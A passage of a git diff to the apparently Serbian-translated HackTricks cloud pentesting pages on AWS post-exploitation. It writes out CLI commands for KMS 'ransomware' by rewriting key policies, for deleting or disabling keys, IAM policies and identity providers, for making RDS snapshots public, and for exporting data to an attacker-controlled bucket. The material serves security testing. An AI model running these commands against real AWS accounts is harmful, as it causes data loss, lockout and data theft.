uloga. Ovo uništava autorizacije i može izmeniti model dozvola, prouzrokujući trenutni gubitak pristupa ili denial-of-service za principals koji su zavisili od tih politika, zato ove IAM actions moraju biti strogo ograničene i nadgledane. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### Federated Identity Deletion +Sa `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, i `iam:RemoveClientIDFromOpenIDConnectProvider`, napadač može izbrisati OIDC/SAML provajdere identiteta ili ukloniti client ID-e. Ovo prekida federisanu autentifikaciju, onemogućava validaciju tokena i odmah uskraćuje pristup korisnicima i servisima koji se oslanjaju na SSO dok se IdP ili konfiguracije ne obnove. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### Neovlašćeno omogućavanje MFA +Uz `iam:EnableMFADevice`, napadač može registrovati MFA uređaj na identitet korisnika, sprečavajući legitimnog korisnika da se prijavi. Kada je neovlašćeno omogućen MFA uređaj, korisnik može biti zaključan dok uređaj ne bude uklonjen ili resetovan (napomena: ako je registrovano više MFA uređaja, za prijavu je dovoljan samo jedan, pa ovaj napad neće dovesti do uskraćivanja pristupa). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### Manipulacija metapodacima sertifikata/ključeva +Sa `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, napadač može promeniti status ili metapodatke javnih ključeva i sertifikata. Označavanjem ključeva/sertifikata kao neaktivnih ili izmenom referenci, može prekinuti SSH autentifikaciju, učiniti X.509/TLS validacije nevažećim i odmah ometati servise koji zavise od tih credentials, uzrokujući gubitak pristupa ili dostupnosti. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` +## Izvori + +- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md deleted file mode 100644 index fb92c328f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ /dev/null @@ -1,182 +0,0 @@ -# AWS - KMS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -For more information check: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Šifrovanje/Dešifrovanje informacija - -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: - -- `fileb://:` Čita fajl u binarnom režimu, obično se koristi za fajlove koji nisu tekstualni. -- `file://:` Čita fajl u tekstualnom režimu, tipično se koristi za obične tekstualne fajlove, skripte ili JSON koji nema posebne zahteve za enkodiranje. - -> [!TIP] -> Imajte na umu da ako želite da dešifrujete podatke iz fajla, fajl mora da sadrži binarne podatke, a ne base64 enkodirane podatke. (fileb://) - -- Koristeći **symmetric** ključ -```bash -# Encrypt data -aws kms encrypt \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -- Korišćenje **asimetričnog** ključa: -```bash -# Encrypt data -aws kms encrypt \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -### KMS Ransomware - -Napadač sa privilegovanim pristupom KMS-u može izmeniti KMS policy ključeva i **dodeliti svom nalogu pristup tim ključevima**, uklanjajući pristup dodeljen legitimnom nalogu. - -Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim podacima bilo koje usluge koji su šifrovani tim ključevima, stvarajući jednostavan ali efikasan ransomware nad nalogom. - -> [!WARNING] -> Imajte na umu da **AWS managed keys nisu pogođene** ovim napadom, već samo **Customer managed keys**. - -> Takođe imajte na umu potrebu da se koristi parametar **`--bypass-policy-lockout-safety-check`** (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI-ja). -```bash -# Force policy change -aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ ---policy-name default \ ---policy file:///tmp/policy.yaml \ ---bypass-policy-lockout-safety-check - -{ -"Id": "key-consolepolicy-3", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "kms:*", -"Resource": "*" -} -] -} -``` -> [!CAUTION] -> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, i onda sa tog eksternog naloga pokušate da postavite novu politiku da **vratite pristup originalnom nalogu, nećete moći cause the Put Polocy action cannot be performed from a cross account**. - -
- -### Generic KMS Ransomware - -Postoji još jedan način da se izvede globalni KMS Ransomware, koji bi obuhvatao sledeće korake: - -- Kreirajte novi **ključ sa materijalom ključa** koji je importovao napadač -- **Ponovo enkriptujte starije podatke** žrtve koji su bili enkriptovani prethodnom verzijom, novom verzijom. -- **Delete the KMS key** -- Sada samo napadač, koji poseduje originalni materijal ključa, mogao bi da dekriptuje šifrovane podatke - -### Brisanje ključeva preko kms:DeleteImportedKeyMaterial - -Sa `kms:DeleteImportedKeyMaterial` permisijom, akter može obrisati importovani materijal ključa iz CMKs sa `Origin=EXTERNAL` (CMKs koji su importovali svoj materijal ključa), čineći ih nesposobnim da dekriptuju podatke. Ova akcija je destruktivna i nepovratna osim ako se kompatibilni materijal ponovo ne importuje, što omogućava napadaču da efektivno prouzrokuje gubitak podataka sličan ransomwareu tako što učini šifrovane informacije trajno nedostupnim. -```bash -aws kms delete-imported-key-material --key-id -``` -### Uništavanje ključeva - -Uništavanjem ključeva moguće je izvršiti DoS. -```bash -# Schedule the destoy of a key (min wait time is 7 days) -aws kms schedule-key-deletion \ ---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ ---pending-window-in-days 7 -``` -> [!CAUTION] -> Imajte na umu da AWS sada **sprečava da se prethodne akcije izvrše iz cross account:** -> -> ### Promeni ili izbriši Alias -> Ovaj napad briše ili preusmerava AWS KMS aliases, narušavajući rešavanje ključeva i izazivajući trenutne greške u svim servisima koji zavise od tih aliases, što rezultira denial-of-service. Sa dozvolama kao što su `kms:DeleteAlias` ili `kms:UpdateAlias`, napadač može ukloniti ili preusmeriti aliases i poremetiti kriptografske operacije (npr. encrypt, describe). Bilo koji servis koji koristi alias umesto key ID može otkazati dok se alias ne obnovi ili pravilno preslika. -```bash -# Delete Alias -aws kms delete-alias --alias-name alias/ - -# Update Alias -aws kms update-alias \ ---alias-name alias/ \ ---target-key-id -``` -### Poništavanje zakazanog brisanja ključa -Sa dozvolama kao što su `kms:CancelKeyDeletion` i `kms:EnableKey`, napadač može otkazati zakazano brisanje AWS KMS customer master key i kasnije ga ponovo omogućiti. Na taj način se oporavlja ključ (isprva u Disabled stanju) i obnavlja njegova sposobnost da dešifruje prethodno zaštićene podatke, omogućavajući exfiltration. -```bash -# Firts cancel de deletion -aws kms cancel-key-deletion \ ---key-id - -## Second enable the key -aws kms enable-key \ ---key-id -``` -### Onemogućavanje ključa -Sa `kms:DisableKey` dozvolom, entitet može onemogućiti AWS KMS customer master key, sprečavajući njegovo korišćenje za encryption ili decryption. Ovo prekida pristup svim servisima koji zavise od tog CMK i može izazvati trenutne poremećaje ili denial-of-service dok se ključ ponovo ne omogući. -```bash -aws kms disable-key \ ---key-id -``` -### Izvođenje zajedničke tajne -Sa dozvolom `kms:DeriveSharedSecret`, entitet može da iskoristi privatni ključ koji KMS čuva uz korisnički dostavljen javni ključ da izračuna ECDH zajedničku tajnu. -```bash -aws kms derive-shared-secret \ ---key-id \ ---public-key fileb:/// \ ---key-agreement-algorithm -``` -### Lažno predstavljanje putem `kms:Sign` -Sa dozvolom `kms:Sign`, napadač može da koristi CMK smešten u KMS da kriptografski potpiše podatke bez izlaganja privatnog ključa, proizvodeći važeće potpise koji mogu omogućiti lažno predstavljanje ili autorizovati zlonamerne radnje. -```bash -aws kms sign \ ---key-id \ ---message fileb:// \ ---signing-algorithm \ ---message-type RAW -``` -### DoS sa Custom Key Stores -Sa dozvolama kao što su `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ili `kms:UpdateCustomKeyStore`, napadač može izmeniti, prekinuti vezu ili obrisati AWS KMS Custom Key Store (CKS), čineći njegove master ključeve neupotrebljivim. To prekida operacije šifrovanja, dešifrovanja i potpisivanja za bilo koje servise koji se oslanjaju na te ključeve i može izazvati trenutni denial-of-service. Ograničavanje i praćenje tih dozvola je zato kritično. -```bash -aws kms delete-custom-key-store --custom-key-store-id - -aws kms disconnect-custom-key-store --custom-key-store-id - -aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password -``` -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md new file mode 100644 index 000000000..c35a503c6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -0,0 +1,182 @@ +# AWS - KMS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Šifrovanje/dešifrovanje informacija + +`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: + +- `fileb://:` Čita fajl u binarnom režimu, obično se koristi za fajlove koji nisu tekstualni. +- `file://:` Čita fajl u tekstualnom režimu, tipično se koristi za obične tekstualne fajlove, skripte ili JSON koji nema posebne zahteve za kodiranje. + +> [!TIP] +> Imajte na umu da, ako želite dešifrovati podatke u fajlu, fajl mora sadržati binarne podatke, a ne base64 enkodirane podatke. (fileb://) + +- Korišćenje **simetričnog** ključa +```bash +# Encrypt data +aws kms encrypt \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +- Koristeći **asimetrični** ključ: +```bash +# Encrypt data +aws kms encrypt \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +### KMS Ransomware + +Napadač koji ima privilegovani pristup KMS-u može izmeniti KMS policy ključeva i **dodeliti svom nalogu pristup njima**, uklanjajući pristup dodeljen legitimnom nalogu. + +Tada korisnici legitimnog naloga neće moći da pristupe informacijama nijedne usluge koja je šifrovana tim ključevima, što stvara jednostavan ali efikasan ransomware nad nalogom. + +> [!WARNING] +> Imajte na umu da **AWS managed keys nisu pogođene** ovim napadom, samo **Customer managed keys**. + +> Takođe napomena o potrebi korišćenja parametra **`--bypass-policy-lockout-safety-check`** (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI). +```bash +# Force policy change +aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check + +{ +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] +} +``` +> [!CAUTION] +> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, i zatim iz tog eksternog naloga pokušate da postavite novu politiku da **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**. + +
+ +### Generički KMS Ransomware + +Postoji još jedan način da se izvede globalni KMS Ransomware, koji bi uključivao sledeće korake: + +- Napravite novi **key with a key material** importovan od strane napadača +- **Re-encrypt older data** žrtve koja je bila šifrovana prethodnom verzijom, koristeći novu +- **Delete the KMS key** +- Sada samo napadač, koji poseduje originalni key material, može da dešifruje šifrovane podatke + +### Brisanje ključeva putem kms:DeleteImportedKeyMaterial + +Sa permisijom `kms:DeleteImportedKeyMaterial`, akter može obrisati importovanu key material iz CMKs sa `Origin=EXTERNAL` (CMKs that have imperted their key material), čineći ih nesposobnim za dešifrovanje podataka. Ova akcija je destruktivna i nepovratna osim ako kompatibilan materijal nije ponovo importovan, omogućavajući napadaču da efektivno izazove ransomware-like gubitak podataka tako što će enkriptovane informacije učiniti trajno nedostupnim. +```bash +aws kms delete-imported-key-material --key-id +``` +### Destroy keys + +Destroying keys — moguće je izvesti DoS. +```bash +# Schedule the destoy of a key (min wait time is 7 days) +aws kms schedule-key-deletion \ +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 +``` +> [!CAUTION] +> Imajte na umu da AWS sada **sprečava da se prethodne radnje izvršavaju iz drugog naloga:** + +### Promeni ili obriši Alias +Ovaj napad briše ili preusmerava AWS KMS aliases, prekidajući rezoluciju ključeva i izazivajući trenutne greške u svim servisima koji se oslanjaju na te aliases, što rezultira denial-of-service. Sa privilegijama kao što su `kms:DeleteAlias` ili `kms:UpdateAlias` napadač može ukloniti ili preusmeriti aliases i ometati kriptografske operacije (npr. encrypt, describe). Bilo koji servis koji referencira alias umesto key ID može zakazati dok se alias ne vrati ili pravilno mapira. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### Poništavanje brisanja ključa +Sa dozvolama kao što su `kms:CancelKeyDeletion` i `kms:EnableKey`, napadač može otkazati zakazano brisanje AWS KMS customer master key i kasnije ga ponovo omogućiti. Time se ključ oporavlja (prvobitno u Disabled stanju) i obnavlja njegova sposobnost da dešifruje prethodno zaštićene podatke, omogućavajući exfiltration. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Disable Key +Sa dozvolom `kms:DisableKey`, napadač može onemogućiti AWS KMS customer master key, sprečavajući njegovo korišćenje za šifrovanje ili dešifrovanje. Ovo prekida pristup svim servisima koji zavise od tog CMK-a i može izazvati trenutne prekide rada ili denial-of-service dok ključ ponovo ne bude omogućen. +```bash +aws kms disable-key \ +--key-id +``` +### Izračunavanje zajedničke tajne +Sa dozvolom `kms:DeriveSharedSecret`, entitet može da koristi privatni ključ u KMS-u zajedno sa javnim ključem koji dostavi korisnik da izračuna ECDH zajedničku tajnu. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Impersonation via kms:Sign +Sa dozvolom `kms:Sign`, napadač može koristiti KMS-stored CMK da kriptografski potpiše podatke bez izlaganja privatnog ključa, generišući važeće potpise koji mogu omogućiti impersonation ili autorizovati zlonamerne radnje. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### DoS with Custom Key Stores +Sa dozvolama kao što su `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, ili `kms:UpdateCustomKeyStore`, napadač može izmeniti, prekinuti vezu sa ili obrisati AWS KMS Custom Key Store (CKS), čineći njegove master ključeve neupotrebljivim. To prekida operacije enkripcije, dekripcije i potpisivanja za sve servise koji zavise od tih ključeva i može izazvati trenutni denial-of-service. Zbog toga je kritično ograničiti i nadgledati te dozvole. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md deleted file mode 100644 index 47995daaa..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - Lightsail Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Za više informacija, proverite: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Vratite stare DB snimke - -Ako DB ima snimke, možda ćete moći da **pronađete osetljive informacije koje su trenutno obrisane u starim snimcima**. **Vratite** snimak u **novu bazu podataka** i proverite ga. - -### Vratite snimke instance - -Snimci instance mogu sadržati **osetljive informacije** već obrisanih instanci ili osetljive informacije koje su obrisane u trenutnoj instanci. **Kreirajte nove instance iz snimaka** i proverite ih.\ -Ili **izvezite snimak u AMI u EC2** i pratite korake tipične EC2 instance. - -### Pristupite osetljivim informacijama - -Pogledajte Lightsail privesc opcije da biste saznali različite načine za pristup potencijalnim osetljivim informacijama: - -{{#ref}} -../aws-privilege-escalation/aws-lightsail-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md new file mode 100644 index 000000000..09d28e69d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md @@ -0,0 +1,30 @@ +# AWS - Lightsail Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Za više informacija, pogledajte: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Vraćanje starih DB snapshot-ova + +Ako DB ima snapshot-ove, možda ćete moći da **pronađete osetljive informacije koje su trenutno obrisane u starim snapshot-ovima**. **Vratite** snapshot u **novu bazu podataka** i proverite je. + +### Vraćanje snapshot-ova instance + +Instance snapshots mogu da sadrže **osetljive informacije** iz već obrisanih instanci, ili osetljive informacije koje su obrisane u trenutnoj instanci. **Kreirajte nove instance iz snapshot-ova** i proverite ih.\ +Ili **eksportujte snapshot u AMI u EC2** i pratite korake tipične EC2 instance. + +### Pristup osetljivim informacijama + +Pogledajte Lightsail privesc opcije da biste naučili različite načine za pristup potencijalno osetljivim informacijama: + +{{#ref}} +../../aws-privilege-escalation/aws-lightsail-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md deleted file mode 100644 index 732eaedae..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ /dev/null @@ -1,17 +0,0 @@ -# AWS - Organizacije Post Eksploatacije - -{{#include ../../../banners/hacktricks-training.md}} - -## Organizacije - -Za više informacija o AWS Organizacijama pogledajte: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -### Napusti Org -```bash -aws organizations deregister-account --account-id --region -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md new file mode 100644 index 000000000..3647219ac --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md @@ -0,0 +1,17 @@ +# AWS - Organizations Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Za više informacija o AWS Organizations pogledajte: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +### Napuštanje organizacije +```bash +aws organizations deregister-account --account-id --region +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md similarity index 77% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 8051af0de..56e431812 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - RDS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS -For more information check: +Za više informacija pogledajte: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Ako napadač ima dovoljno dozvola, može učiniti **DB javno dostupnim** kreiranjem snapshot-a DB, a zatim kreiranjem javno dostupnog DB iz tog snapshot-a. +Ako napadač ima dovoljno dozvola, može da učini **DB javno dostupnim** kreiranjem snapshot-a baze podataka, a zatim kreiranjem javno dostupne DB iz tog snapshot-a. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Napadač sa ovim dozvolama bi mogao **kreirati snapshot DB-a** i učiniti ga **javno** **dostupnim**. Zatim bi mogao jednostavno kreirati u svom nalogu DB iz tog snapshota. +Napadač sa ovim dozvolama može **napraviti snapshot DB-a** i učiniti ga **javno** **dostupnim**. Zatim, može u svom nalogu kreirati DB iz tog snapshot-a. -Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje može učiniti **druge** kreirane snapshot-ove **javnim**. +Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje može učiniti **ostale** kreirane snapshot-e **javnim**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Napadač sa `rds:DownloadDBLogFilePortion` dozvolom može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili pristupni kredencijali slučajno zabeleženi u logovima, napadač bi potencijalno mogao iskoristiti te informacije da eskalira privilegije ili izvrši neovlašćene radnje. +Napadač sa dozvolom `rds:DownloadDBLogFilePortion` može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili pristupne akreditive slučajno zabeleženi u logu, napadač bi potencijalno mogao iskoristiti te informacije da poveća svoje privilegije ili izvrši neovlašćene radnje. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Potencijalni uticaj**: Pristup osetljivim informacijama ili neovlašćene radnje koristeći leaked credentials. +**Potencijalni uticaj**: Pristup osetljivim informacijama ili neovlašćene radnje korišćenjem leaked credentials. ### `rds:DeleteDBInstance` @@ -66,35 +66,35 @@ Napadač sa ovim dozvolama može **DoS postojeće RDS instance**. # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Potencijalni uticaj**: Brisanje postojećih RDS instanci i potencijalni gubitak podataka. +**Potential impact**: Brisanje postojećih RDS instanci i potencijalni gubitak podataka. ### `rds:StartExportTask` > [!NOTE] -> TODO: Test +> TODO: Testirati -Napadač koji ima ovu dozvolu može **eksportovati RDS instance snapshot u S3 bucket**. Ako napadač ima kontrolu nad odredišnim S3 bucket-om, može potencijalno pristupiti osetljivim podacima unutar izvezenog snapshot-a. +Napadač sa ovom dozvolom može **izvesti snapshot RDS instance u S3 bucket**. Ako napadač kontroliše odredišni S3 bucket, može potencijalno pristupiti osetljivim podacima unutar izvezenog snapshota. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Mogući uticaj**: pristup osetljivim podacima u izvezenom snapshot +**Potencijalni uticaj**: Pristup osetljivim podacima u eksportovanom snapshot-u. ### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) -Iskoristiti cross-Region automated backups replication da tiho duplirate automated backups RDS instance-a u drugi AWS Region i tamo ih restore-ujete. Napadač potom može učiniti obnovljeni DB javno dostupnim i resetovati master lozinku kako bi pristupio podacima out-of-band u Regionu koji odbrambeni timovi možda ne prate. +Abuse cross-Region automated backups replication da tiho duplirate automated backups RDS instance u drugu AWS Region i obnovite ih tamo. Napadač potom može učiniti vraćenu DB javno dostupnom i resetovati master lozinku kako bi pristupio podacima van nadzora u Regionu koji odbrambeni timovi možda ne prate. -Permissions needed (minimum): -- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region -- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region -- `rds:RestoreDBInstanceToPointInTime` in the destination Region -- `rds:ModifyDBInstance` in the destination Region -- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) +Potrebne dozvole (minimum): +- `rds:StartDBInstanceAutomatedBackupsReplication` u odredišnoj regiji +- `rds:DescribeDBInstanceAutomatedBackups` u odredišnoj regiji +- `rds:RestoreDBInstanceToPointInTime` u odredišnoj regiji +- `rds:ModifyDBInstance` u odredišnoj regiji +- `rds:StopDBInstanceAutomatedBackupsReplication` (opciono čišćenje) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (da izložite vraćenu DB) -Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials. +Uticaj: Održavanje pristupa i eksfiltracija podataka vraćanjem kopije produkcijskih podataka u drugu regiju i javnim izlaganjem sa kredencijalima pod kontrolom napadača.
-End-to-end CLI (replace placeholders) +End-to-end CLI (zamenite placeholder-e) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### Omogućite potpuno SQL logovanje preko DB parameter grupa i eksfiltrirajte preko RDS log API-ja +### Omogućite kompletno SQL logovanje preko DB parameter grupa i eksfiltrirajte putem RDS log API-ja -Iskoristite `rds:ModifyDBParameterGroup` zajedno sa RDS log download API-ima da zabeležite sve SQL naredbe koje aplikacije izvršavaju (nisu potrebni DB engine kredencijali). Omogućite SQL logging na engine-u i preuzmite fajl logove preko `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (ili REST `downloadCompleteLogFile`). Korisno za prikupljanje upita koji mogu sadržati tajne/PII/JWTs. +Iskoristite `rds:ModifyDBParameterGroup` zajedno sa RDS log download API-ima da zabeležite sve SQL naredbe koje aplikacije izvršavaju (nisu potrebni kredencijali za DB engine). Omogućite engine SQL logging i preuzmite fajl logova preko `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (ili REST `downloadCompleteLogFile`). Korisno za prikupljanje upita koji mogu sadržati tajne/PII/JWTs. -Permissions needed (minimum): +Potrebne dozvole (minimum): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) -- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) +- `rds:ModifyDBInstance` (samo za pridruživanje prilagođenog parameter group-a ako instance koristi default) +- `rds:RebootDBInstance` (za parametre koji zahtevaju reboot, npr. PostgreSQL) -Steps -1) Recon cilja i trenutne parameter grupe +Koraci +1) Recon target i trenutni parameter group ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) 